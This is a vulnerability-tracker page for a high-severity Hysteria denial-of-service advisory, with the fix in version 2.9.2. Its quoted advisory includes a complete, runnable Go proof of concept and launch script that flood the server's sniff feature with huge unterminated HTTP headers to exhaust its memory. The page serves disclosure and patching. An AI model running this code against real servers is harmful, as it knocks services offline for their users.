Skip to content
Noroxi
OSV ecosystem advisory

GHSA-jqc5-2p7q-fqfc: Hysteria: http large header with sniff cause server DoS

HighCVSS 7.5 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 30/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: github.com/apernet/hysteria (Go) 2.9.2.

Low priority for now. Upgrade to github.com/apernet/hysteria (Go) 2.9.2 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

### Summary Sending an excessively large header by an attacker could lead to a server-side DoS attack. ### Details The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors. ### PoC server.yaml ``` listen: 127.0.0.1:8443 tls: cert: poc_server.crt key: poc_server.key auth: type: password password: sniff-poc-password sniff: enable: true timeout: 10s rewriteDomain: false tcpPorts: 80 masquerade: type: string string: content: nope statusCode: 404 ``` poc.sh ``` #!/bin/bash go build poc_sniff_http_dos.go ./poc_sniff_http_dos \ --server 127.0.0.1:8443 \ --auth sniff-poc-password \ --insecure \ --target-host 192.0.2.1 \ --target-port 80 \ --connections 16 \ --header-bytes 838860800 \ --linger 12 ``` poc.go ``` //go:build poc package main import ( "crypto/sha256" "crypto/x509" "encoding/hex" "errors" "flag" "fmt" "net" "strings" "sync" "time" coreclient "github.com/apernet/hysteria/core/v2/client" "github.com/apernet/hysteria/extras/v2/obfs" ) type attackConnFactory struct { obfuscator obfs.Obfuscator } func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) { conn, err := net.ListenUDP("udp", nil) if err != nil { return nil, err } if f.obfuscator == nil { return conn, nil } return obfs.WrapPacketConn(conn, f.obfuscator), nil } func buildHeaderPayload(totalBytes, chunkSize int) []byte { prefix := []byte("GET / HTTP/1.1\r\nHost: victim\r\nUser-Agent: hy2-sniff-poc\r\n") if totalBytes <= len(prefix) { return prefix[:totalBytes] } out := make([]byte, 0, totalBytes) out = append(out, prefix...) linePayload := chunkSize - 32 if linePayload < 64 { linePayload = 64 } for i := 0; len(out) < totalBytes; i++ { line := fmt.Sprintf("X-Fill-%06d: %s\r\n", i, strings.Repeat("A", linePayload)) remain := totalBytes - len(out) if len(line) > remain { line = line[:remain] } out = append(out, line...) } // 故意不追加最后一个空行 \r\n,迫使服务端在 sniff timeout 内持续读 header。 return out } func makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) { serverAddr, err := net.ResolveUDPAddr("udp", server) if err != nil { return nil, err } cfg := &coreclient.Config{ ConnFactory: &attackConnFactory{}, ServerAddr: serverAddr, Auth: auth, TLSConfig: coreclient.TLSConfig{ InsecureSkipVerify: insecure, }, } host, _, err := net.SplitHostPort(server) if err == nil && sni == "" && net.ParseIP(host) == nil { cfg.TLSConfig.ServerName = host } if sni != "" { cfg.TLSConfig.ServerName = sni } if pinSHA256 != "" { nHash := strings.ToLower(strings.ReplaceAll(pinSHA256, ":", "")) cfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error { if len(rawCerts) == 0 { return errors.New("no peer certificate") } h := sha256.Sum256(rawCerts[0]) if hex.EncodeToString(h[:]) == nHash { return nil } return errors.New("no certificate matches the pinned hash") } } if salamanderPSK != "" { ob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK)) if err != nil { return nil, err } cfg.ConnFactory = &attackConnFactory{obfuscator: ob} } c, _, err := coreclient.NewClient(cfg) return c, err } func worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) { conn, err := c.TCP(target) if err != nil { results[id] = fmt.Sprintf("worker=%d dial error=%v", id, err) return } defer conn.Close() _ = conn.SetWriteDeadline(time.Now().Add(linger)) sent := 0 for sent < len(payload) { end := sent + sendChunk if end > len(payload) { end = len(payload) } n, err := conn.Write(payload[sent:end]) if err != nil { results[id] = fmt.Sprintf("worker=%d partial_sent=%d error=%v", id, sent, err) return } sent += n } time.Sleep(linger) results[id] = fmt.Sprintf("worker=%d sent=%d", id, sent) } func main() { server := flag.String("server", "", "Hysteria server address, e.g. 1.2.3.4:443") auth := flag.String("auth", "", "Hysteria auth string/password") sni := flag.String("sni", "", "optional TLS SNI") insecure := flag.Bool("insecure", false, "skip TLS verification") pinSHA256 := flag.String("pin-sha256", "", "optional pinned server cert SHA256") salamanderPSK := flag.String("obfs-salamander-password", "", "optional salamander obfs password") targetHost := flag.String("target-host", "192.0.2.1", "must usually be an IP so sniff.Check() runs when rewriteDomain=false") targetPort := flag.Int("target-port", 80, "target port that should be covered by server sniff.tcpPorts") connections := flag.Int("connections", 16, "number of concurrent Hysteria TCP streams") headerBytes := flag.Int("header-bytes", 8*1024*1024, "bytes of incomplete HTTP header per stream") buildChunk := flag.Int("build-chunk", 8192, "approximate size of generated filler header lines") sendChunk := flag.Int("send-chunk", 64*1024, "bytes written per conn.Write call") lingerSec := flag.Float64("linger", 12, "seconds to keep each stream open after writing") flag.Parse() if *server == "" || *auth == "" { panic("--server and --auth are required") } if !*insecure && *pinSHA256 == "" { panic("provide one of: --insecure / --pin-sha256") } payload := buildHeaderPayload(*headerBytes, *buildChunk) target := net.JoinHostPort(*targetHost, fmt.Sprintf("%d", *targetPort)) linger := time.Duration(*lingerSec * float64(time.Second)) fmt.Printf("[*] server=%s target=%s streams=%d payload=%d\n", *server, target, *connections, len(payload)) c, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK) if err != nil { panic(err) } defer c.Close() results := make([]string, *connections) var wg sync.WaitGroup start := time.Now() for i := 0; i < *connections; i++ { wg.Add(1) go func(i int) { defer wg.Done() worker(i, c, target, payload, *sendChunk, linger, results) }(i) } wg.Wait() fmt.Printf("[*] elapsed=%s\n", time.Since(start).Round(time.Millisecond)) for _, line := range results { fmt.Printf(" %s\n", line) } fmt.Println("[+] sent incomplete oversized HTTP headers; check server-side memory / stability") } ``` ### Impact Testing showed that the server side used a maximum of 16GB. Server memory DoS and may cause OOM.

Published
Jun 26, 2026
Updated
Jul 7, 2026
EPSS
—

Report tools

JSON

Action score

30

Monitor

Low priority for now.

CVSS
30 / 40 · 7.5 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-jqc5-2p7q-fqfc

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
Gogithub.com/apernet/hysteria

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
Gogithub.com/apernet/hysteriafrom 0—
Gogithub.com/apernet/hysteriabefore 2.9.22.9.2

Same product

Go: all records

Other highest-scoring records for the same primary product.

  • GHSA-qh5x-rfwf-rvfvHysteria vulnerable to server crash when max_datagram_frame_size very small
    30Monitor
  • GO-2026-5807Hysteria vulnerable to server crash when max_datagram_frame_size very small in github.com/apernet/hysteria
    0Monitor
  • GO-2026-5813Hysteria: http large header with sniff cause server DoS in github.com/apernet/hysteria
    0Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
Go:github.com/apernet/hysteria2.9.2Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Variant candidates

Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.

  • GHSA-qh5x-rfwf-rvfv0 days apartHysteria vulnerable to server crash when max_datagram_frame_size very small
    30Monitor

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
none
Integrity
none
Availability
high · the service can be disrupted
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
None
Integrity impact
None
Availability impact
High

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv

References

Show all references (1 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

All records